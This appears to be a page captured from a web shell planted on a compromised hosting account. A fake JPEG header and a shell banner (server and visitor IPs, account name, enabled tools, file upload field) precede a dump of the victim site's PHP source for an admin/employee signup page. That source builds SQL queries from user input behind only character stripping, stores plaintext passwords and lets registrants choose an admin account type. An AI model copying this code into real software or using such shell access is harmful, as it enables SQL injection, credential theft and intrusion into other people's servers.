ÿØÿà JPEG ÿþ;
| Server IP : 68.65.120.201 / Your IP : 216.73.216.126 Web Server : LiteSpeed System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 User : taxhyuvu ( 2294) PHP Version : 8.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/./././././././././taxhyuvu/./public_html/admin/login/ |
Upload File : |
<!DOCTYPE html>
<html lang="en">
<head>
<title>Admin/Employee Signup</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<!--===============================================================================================-->
<link rel="icon" type="image/png" href="icon.png"/>
<!--===============================================================================================-->
<link rel="stylesheet" type="text/css" href="vendor/bootstrap/css/bootstrap.min.css">
<!--===============================================================================================-->
<link rel="stylesheet" type="text/css" href="fonts/font-awesome-4.7.0/css/font-awesome.min.css">
<!--===============================================================================================-->
<link rel="stylesheet" type="text/css" href="vendor/animate/animate.css">
<!--===============================================================================================-->
<link rel="stylesheet" type="text/css" href="vendor/css-hamburgers/hamburgers.min.css">
<!--===============================================================================================-->
<link rel="stylesheet" type="text/css" href="vendor/select2/select2.min.css">
<!--===============================================================================================-->
<link rel="stylesheet" type="text/css" href="css/util.css">
<link rel="stylesheet" type="text/css" href="css/main.css">
<!--===============================================================================================-->
<style>
img {
vertical-align: middle;
border-style: none;
width: 100%;
margin-bottom: 10%;
}
.container-login100
{
background: linear-gradient(-135deg, #a2a1a0, #1c959e) !important;
}
.wrap-login100 {
width: 960px;
background: #fff;
padding: 50px 105px 50px 95px;
}
.p-t-136 {
padding-top: 20px;
}
.login100-form-title {
font-family: math;
font-size: 35px;
color: #0e7786;
font-weight:900;
line-height: 1.2;
text-align: center;
width: 100%;
display: block;
padding-bottom: 35px;
padding-top: 10px;
}
.input100 {
font-family: math !important;
font-size: 18px !important;
font-weight: 700 !important;
background: #ebebeb !important;
border-radius: 12px !important;
border:1px solid #c0c9cb !important;
}
.symbol-input100 {
font-size: 16px;
color: #1c7785 !important;
}
.focus-input100 {
box-shadow: 0px 0px 0px 0px;
color: rgb(255 255 255 / 80%) !important;
}
.login100-form-btn {
font-family: math !important;
font-size: 17px !important;
color: white !important;
background: #1c959e !important;
font-weight: 900 !important;
}
.login100-form-btn:hover {
background: #e9e9e9 !important;
color: #257784 !important;
border: 1px solid #1e929b !important;
transition: 0.5s;
}
.input100 {
padding: 0 0px 0 40px ;
}
.symbol-input100 {
font-size: 16px;
padding-left: 14px;
}
.txt1 {
font-family: math;
font-size: 17px;
line-height: 1.5;
color: #646262;
font-weight: 700;
}
.txt2 {
font-family: math;
font-size: 17px;
line-height: 1.5;
color: #646262;
font-weight: 700;
}
textarea:focus, input:focus {
/* border-color: transparent !important; */
padding-left:40px !important;
}
.input100:focus + .focus-input100 + .symbol-input100 {
padding-left: 14px;
}
.funy{font-weight: 500;
font-weight: 500;
width: 100%;
border-radius: 5px;
font-family: math;
height: 25px;
background: whitesmoke;
}
a{
font-family: math;
font-size: 17px;
line-height: 1.7;
color: #666666;
margin: 0px;
font-weight: 700;
}
a:hover {
text-decoration: none;
color: #05666d;
font-weight: 700;
}
@media (max-width: 992px){
.login100-pic {
width: 100%;
display: none !important;
}
}
@media (max-width: 768px){
.wrap-login100 {padding: 10% !important;}
img{width:100% !important;
margin-bottom: 4%;}
.input100 {
width: 100%;
}
.symbol-input100 {
display: flex;
margin-left: 0%;
font-size: 15px !important;
}
.container-login100-form-btn {
width: 100%;
}
.login100-form-title{width: 100%;}
.p-t-12{width: 100%;}
.p-t-136{width: 100%;}
#user {width:100%;}
}
</style>
</head>
<body>
<?php
include "../db.php";
if(isset($_POST['go'])){
$name=$_POST['name'];
$email=$_POST['email'];
$confpass=$_POST['confpass'];
$phone=$_POST['phone'];
$pass=$_POST['pass'];
$user=$_POST['user'];
$name= str_replace("'","",$name);
$name= str_replace("<","",$name);
$name= str_replace(">","",$name);
$name= str_replace("$","",$name);
$name= str_replace("`","",$name);
$name= str_replace("/","",$name);
$phone= str_replace("'","",$phone);
$phone= str_replace("<","",$phone);
$phone= str_replace(">","",$phone);
$phone= str_replace("$","",$phone);
$phone= str_replace("`","",$phone);
$phone= str_replace("/","",$phone);
$email= str_replace("'","",$email);
$email= str_replace("<","",$email);
$email= str_replace(">","",$email);
$email= str_replace("$","",$email);
$email= str_replace("`","",$email);
$email= str_replace("/","",$email);
$user= str_replace("'","",$user);
$user= str_replace("<","",$user);
$user= str_replace(">","",$user);
$user= str_replace("$","",$user);
$user= str_replace("`","",$user);
$user= str_replace("/","",$user);
$confpass= str_replace("'","",$confpass);
$confpass= str_replace("<","",$confpass);
$confpass= str_replace(">","",$confpass);
$confpass= str_replace("$","",$confpass);
$confpass= str_replace("`","",$confpass);
$confpass= str_replace("/","",$confpass);
$pass= str_replace("'","",$pass);
$pass= str_replace("<","",$pass);
$pass= str_replace(">","",$pass);
$pass= str_replace("$","",$pass);
$pass= str_replace("`","",$pass);
$pass= str_replace("/","",$pass);
$Uquery = "SELECT * FROM `adminsignup` WHERE `Email_Address` = '$email'";
$Data = mysqli_query($con,$Uquery);
$count = mysqli_num_rows($Data);
if($count==1)
{echo
"<script>
alert('Sorry! This Email Address is Already Registered');
window.location.href='index';
</script>";
}
else
{ if($pass == $confpass){
$Uquery= "INSERT INTO `adminsignup`(`Full_Name`, `Phone_Number`, `Email_Address`, `Password`, `Confirm_Password`, `user`, `approve`) VALUES ('$name','$phone','$email','$pass','$confpass','$user','n')";
$Data = mysqli_query($con,$Uquery);
if ($Data == 'true' )
{
echo
"<script>
alert('Your account has been successfully registered');
window.location.href='index';
</script>";
}
else
{
echo
"<script>
alert('Registraion Failed');
window.location.href='signup';
</script>";
}
}else{echo
"<script>
alert('Password and Confirm Password are Not Same');
</script>";}
}}
?>
<div class="limiter">
<div class="container-login100">
<div class="wrap-login100">
<div class="login100-pic js-tilt" data-tilt>
<img src="images/img-01.png" alt="IMG" style="padding-top:130px;">
</div>
<form class="login100-form validate-form" method="post">
<span class="login100-form-title">
Admin/Employee Signup </span>
<div class="wrap-input100 validate-input" data-validate = "Valid email is required: ex@abc.xyz">
<input class="input100" type="text" name="name" placeholder="Full Name">
<span class="focus-input100"></span>
<span class="symbol-input100">
<i class="fa fa-user" aria-hidden="true"></i>
</span>
</div>
<div class="wrap-input100 validate-input" data-validate = "Password is required">
<input class="input100" type="email" name="email" placeholder="Email">
<span class="focus-input100"></span>
<span class="symbol-input100">
<i class="fa fa-envelope" aria-hidden="true"></i>
</span>
</div>
<div class="wrap-input100 validate-input" data-validate = "Password is required">
<input class="input100" type="text" name="phone" placeholder="Phone Number">
<span class="focus-input100"></span>
<span class="symbol-input100">
<i class="fa fa-phone" aria-hidden="true"></i>
</span>
</div>
<div class="wrap-input100 validate-input" data-validate = "Password is required">
<input class="input100" type="password" name="pass" placeholder="Password">
<span class="focus-input100"></span>
<span class="symbol-input100">
<i class="fa fa-lock" aria-hidden="true"></i>
</span>
</div>
<div class="wrap-input100 validate-input" data-validate = "Password is required">
<input class="input100" type="password" name="confpass" placeholder="Confirm Password">
<span class="focus-input100"></span>
<span class="symbol-input100">
<i class="fa fa-lock" aria-hidden="true"></i>
</span>
</div>
<div class="wrap-input100 validate-input" data-validate = "Password is required">
<select name="user" class="funy" id="user" required>
<option value="" disabled selected hidden>Select Account</option>
<option value="a">Admin Account</option>
<option value="e">Employee Account</option>
</select>
</div>
<div class="container-login100-form-btn">
<button type="submit" class="login100-form-btn" name="go">
Create your Account
</button>
</div>
<!--
<div class="text-center p-t-12">
<span class="txt1">
Forgot
</span>
<a class="txt2" href="#">
Username / Password?
</a>
</div> -->
<div class="text-center p-t-136">
<span class="txt2">
I am already Member!</span> <a href="index">Login</a>
<i class="fa fa-long-arrow-right m-l-5" aria-hidden="true"></i>
</a>
</div>
</form>
</div>
</div>
</div>
<!--===============================================================================================-->
<script src="vendor/jquery/jquery-3.2.1.min.js"></script>
<!--===============================================================================================-->
<script src="vendor/bootstrap/js/popper.js"></script>
<script src="vendor/bootstrap/js/bootstrap.min.js"></script>
<!--===============================================================================================-->
<script src="vendor/select2/select2.min.js"></script>
<!--===============================================================================================-->
<script src="vendor/tilt/tilt.jquery.min.js"></script>
<script >
$('.js-tilt').tilt({
scale: 1.1
})
</script>
<!--===============================================================================================-->
<script src="js/main.js"></script>
</body>
</html>